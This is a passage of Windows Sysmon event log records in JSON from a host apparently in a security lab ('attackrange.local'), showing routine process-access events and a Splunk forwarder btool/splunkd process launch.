{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00102A390300}\r\nTargetProcessId: 3924\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00102A390300}","TargetProcessId":"3924","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.946\r\nProcessGuid: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nProcessId: 3904\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE7-5F2D-0000-00102A390300}\r\nParentProcessId: 3924\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list replication_port --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.946","ProcessGuid":"{90617006-3FE7-5F2D-0000-0010E5390300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE7-5F2D-0000-00102A390300}","ParentProcessId":"3924","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list replication_port --no-log","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-00102A390300}\r\nSourceProcessId: 3924\r\nSourceThreadId: 3980\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-00102A390300}","SourceProcessId":"3924","SourceThreadId":"3980","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010E5390300}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program 